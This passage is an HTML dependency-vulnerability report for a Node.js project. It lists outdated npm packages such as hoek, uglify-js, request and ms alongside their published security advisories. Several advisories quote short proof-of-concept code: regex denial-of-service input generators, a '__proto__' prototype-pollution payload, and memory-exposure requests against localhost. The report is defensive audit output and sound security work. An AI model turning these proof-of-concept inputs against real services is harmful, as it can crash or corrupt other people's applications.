white">Published Vulnerabilities</h4><div id="content268" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/106">NSP-106</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `negotiator` are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted `Accept-Language` header value.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/106">Advisory 106: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs21">negotiator:<= 0.6.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l126_96d19e3de7a284649066db131edfe9407ff562eb"></a>base64-url:1.2.1</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?base64-url<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header269" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content269" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>base64-url</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>base64-url</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.2.1</td><td>Highest</td></tr></table></div><h4 id="header270" class="subsectionheader white">Identifiers</h4><div id="content270" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> base64-url:1.2.1 <i>Confidence</i>:Highest</li></ul></div><h4 id="header271" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content271" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/660">NSP-660</a></b></p><p>Severity:High<br/>CVSS Score: 8.6 </p><p><pre>Versions of `base64-url` before 2.0.0 are vulnerable to out-of-bounds read as it allocates uninitialized Buffers when number is passed in input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/660">Advisory 660: Out-of-bounds Read</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs22">base64-url:<2.0.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l127_1b336f17a8794667e4c61b0ba23b4c6b3161f2e5"></a>request:2.27.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?request<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header272" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content272" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>request</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>request</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.27.0</td><td>Highest</td></tr></table></div><h4 id="header273" class="subsectionheader white">Identifiers</h4><div id="content273" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> request:2.27.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header274" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content274" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/309">NSP-309</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.
## Proof of Concept
```
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/309">Advisory 309: Remote Memory Exposure</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs23">request:>=2.2.6 <2.47.0 || >2.51.0 <=2.67.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l128_10a33de58474c55ace658adbe36cdb0fb86cbf31"></a>qs:0.6.6</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?qs<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header275" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content275" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>qs</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>qs</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.6.6</td><td>Highest</td></tr></table></div><h4 id="header276" class="subsectionheader white">Identifiers</h4><div id="content276" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> qs:0.6.6 <i>Confidence</i>:Highest</li></ul></div><h4 id="header277" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content277" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/28">NSP-28</a></b></p><p>Severity:Medium<br/>CVSS Score: 6.5 </p><p><pre>Versions prior to 1.0.0 of `qs` are affected by a denial of service vulnerability that results from excessive recursion in parsing a deeply nested JSON string.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/28">Advisory 28: Denial-of-Service Extended Event Loop Blocking</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs24">qs:<1.0.0</li></ul></p><p><b><a target="_blank" href="https://nodesecurity.io/advisories/29">NSP-29</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Versions prior to 1.0 of `qs` are affected by a denial of service condition. This condition is triggered by parsing a crafted string that deserializes into very large sparse arrays, resulting in the process running out of memory and eventually crashing.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/29">Advisory 29: Denial-of-Service Memory Exhaustion</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs25">qs:<1.0.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l129_64d3029ab32af1e220f2554706b4a2830d2f1245"></a>hawk:1.0.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?hawk<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header278" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content278" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>hawk</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>hawk</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.0.0</td><td>Highest</td></tr></table></div><h4 id="header279" class="subsectionheader white">Identifiers</h4><div id="content279" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> hawk:1.0.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header280" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content280" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/77">NSP-77</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `hawk` prior to 3.1.3, or 4.x prior to 4.1.1 are affected by a regular expression denial of service vulnerability related to excessively long headers and URI's.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/77">Advisory 77: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs26">hawk:< 3.1.3 || >= 4.0.0 <4.1.1</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l130_36e5a260ff30aba895036d6a05fc8c1a07880716"></a>hoek:0.9.1</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?hoek<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header281" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content281" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>hoek</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>hoek</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.9.1</td><td>Highest</td></tr></table></div><h4 id="header282" class="subsectionheader white">Identifiers</h4><div id="content282" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> hoek:0.9.1 <i>Confidence</i>:Highest</li></ul></div><h4 id="header283" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content283" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/566">NSP-566</a></b></p><p>Severity:Medium<br/>CVSS Score: 4.0 </p><p><pre>Versions of `hoek` prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.
The `merge` function, and the `applyToDefaults` and `applyToDefaultsWithShallow` functions which leverage `merge` behind the scenes, are vulnerable to a prototype pollution attack when provided an _unvalidated_ payload created from a JSON string containing the `__proto__` property.
This can be demonstrated like so:
```javascript
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
```
This type of attack can be used to overwrite existing properties causing a potential denial of service.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/566">Advisory 566: Prototype pollution attack</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs27">hoek:<= 4.2.0 || >= 5.0.0 < 5.0.3</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l131_0ac7fe3d5e2a5015ee9437bd0452b80f68efd7da"></a>tunnel-agent:0.3.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?tunnel-agent<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header284" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content284" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>tunnel-agent</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>tunnel-agent</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.3.0</td><td>Highest</td></tr></table></div><h4 id="header285" class="subsectionheader white">Identifiers</h4><div id="content285" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> tunnel-agent:0.3.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header286" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content286" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/598">NSP-598</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.0 </p><p><pre>Versions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
```js
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/598">Advisory 598: Memory Exposure</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs28">tunnel-agent:<0.6.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l132_650a9f9cf207a1583428ce2b6c34949abd28b1ec"></a>lodash:2.4.2</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?lodash<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header287" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content287" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>lodash</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>lodash</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.4.2</td><td>Highest</td></tr></table></div><h4 id="header288" class="subsectionheader white">Identifiers</h4><div id="content288" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> lodash:2.4.2 <i>Confidence</i>:Highest</li></ul></div><h4 id="header289" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content289" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/577">NSP-577</a></b></p><p>Severity:Low<br/>CVSS Score: 2.0 </p><p><pre>Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/577">Advisory 577: Prototype Pollution</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs29">lodash:<4.17.5</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l133_47cf531647422e2f977c9744d71cf4f9e80f0c19"></a>mime:1.2.9</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?mime<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header290" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content290" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>mime</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>mime</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.2.9</td><td>Highest</td></tr></table></div><h4 id="header291" class="subsectionheader white">Identifiers</h4><div id="content291" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> mime:1.2.9 <i>Confidence</i>:Highest</li></ul></div><h4 id="header292" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content292" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/535">NSP-535</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `mime` are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/535">Advisory 535: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs30">mime:< 1.4.1 || > 2.0.0 < 2.0.3</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l134_9527b34cecd8281315a11427570312203f4e481d"></a>superagent:0.15.1</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?superagent<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header293" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content293" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>superagent</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>superagent</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.15.1</td><td>Highest</td></tr></table></div><h4 id="header294" class="subsectionheader white">Identifiers</h4><div id="content294" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> superagent:0.15.1 <i>Confidence</i>:Highest</li></ul></div><h4 id="header295" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content295" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/479">NSP-479</a></b></p><p>Severity:Low<br/>CVSS Score: 3.7 </p><p><pre>Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.
This may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/479">Advisory 479: Large gzip Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs31">superagent:<3.7.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l135_6e7a93cce918d0517aeb326f2d8640fc995b641c"></a>mime:1.2.5</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?mime<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header296" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content296" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>mime</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>mime</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.2.5</td><td>Highest</td></tr></table></div><h4 id="header297" class="subsectionheader white">Identifiers</h4><div id="content297" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> mime:1.2.5 <i>Confidence</i>:Highest</li></ul></div><h4 id="header298" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content298" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/535">NSP-535</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `mime` are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/535">Advisory 535: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs32">mime:< 1.4.1 || > 2.0.0 < 2.0.3</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l136_aa783f7e98c0a8ed5b3732e07fe76573dd70fee6"></a>uglify-js:2.4.24</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?uglify-js<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header299" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content299" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>uglify-js</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>uglify-js</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.4.24</td><td>Highest</td></tr></table></div><h4 id="header300" class="subsectionheader white">Identifiers</h4><div id="content300" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> uglify-js:2.4.24 <i>Confidence</i>:Highest</li></ul></div><h4 id="header301" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content301" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/48">NSP-48</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.
### Proof of Concept
```
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
```
### Results
```
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/48">Advisory 48: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs33">uglify-js:<2.6.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l137_83941e8c5f3ffa3f70725da98fcc95956f6648ad"></a>uglify-js:2.2.5</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?uglify-js<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header302" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content302" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>uglify-js</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>uglify-js</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.2.5</td><td>Highest</td></tr></table></div><h4 id="header303" class="subsectionheader white">Identifiers</h4><div id="content303" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> uglify-js:2.2.5 <i>Confidence</i>:Highest</li></ul></div><h4 id="header304" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content304" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/39">NSP-39</a></b></p><p>Severity:High<br/>CVSS Score: 8.3 </p><p><pre>Versions of `uglify-js` prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/39">Advisory 39: Incorrect Handling of Non-Boolean Comparisons During Minification</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs34">uglify-js:<= 2.4.23</li></ul></p><p><b><a target="_blank" href="https://nodesecurity.io/advisories/48">NSP-48</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.
### Proof of Concept
```
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
```
### Results
```
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/48">Advisory 48: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs35">uglify-js:<2.6.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l138_c32ce31239b959ef192a7e7e3bf7f158e11b0f78"></a>constantinople:2.0.1</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?constantinople<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header305" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content305" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>constantinople</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>constantinople</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.0.1</td><td>Highest</td></tr></table></div><h4 id="header306" class="subsectionheader white">Identifiers</h4><div id="content306" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> constantinople:2.0.1 <i>Confidence</i>:Highest</li></ul></div><h4 id="header307" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content307" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/568">NSP-568</a></b></p><p>Severity:High<br/>CVSS Score: 10.0 </p><p><pre>Versions of `constantinople` prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/568">Advisory 568: Sandbox Bypass Leading to Arbitrary Code Execution</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs36">constantinople:<3.1.1</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l139_fa36352159e11c5e4bdba09073e253bf9ba37c88"></a>jquery:2.2.4</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?jquery<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header308" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content308" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>jquery</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>jquery</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.2.4</td><td>Highest</td></tr></table></div><h4 id="header309" class="subsectionheader white">Identifiers</h4><div id="content309" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> jquery:2.2.4 <i>Confidence</i>:Highest</li></ul></div><h4 id="header310" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content310" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/328">NSP-328</a></b></p><p>Severity:High<br/>CVSS Score: 7.2 </p><p><pre>Affected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/328">Advisory 328: Cross-Site Scripting (XSS)</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs37">jquery:>=1.4.0 <=1.11.3 || >=1.12.4 <=2.2.4</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l140_fca8634e26b5ed6ce657fb9f1e4c109334de63c5"></a>ms:0.1.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?ms<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header311" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content311" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>ms</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>ms</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.1.0</td><td>Highest</td></tr></table></div><h4 id="header312" class="subsectionheader white">Identifiers</h4><div id="content312" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> ms:0.1.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header313" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content313" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/46">NSP-46</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
## Proof of Concept
```javascript
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
```
### Results
Showing increase in execution time based on the input string.
```
$ time node ms.js 10000
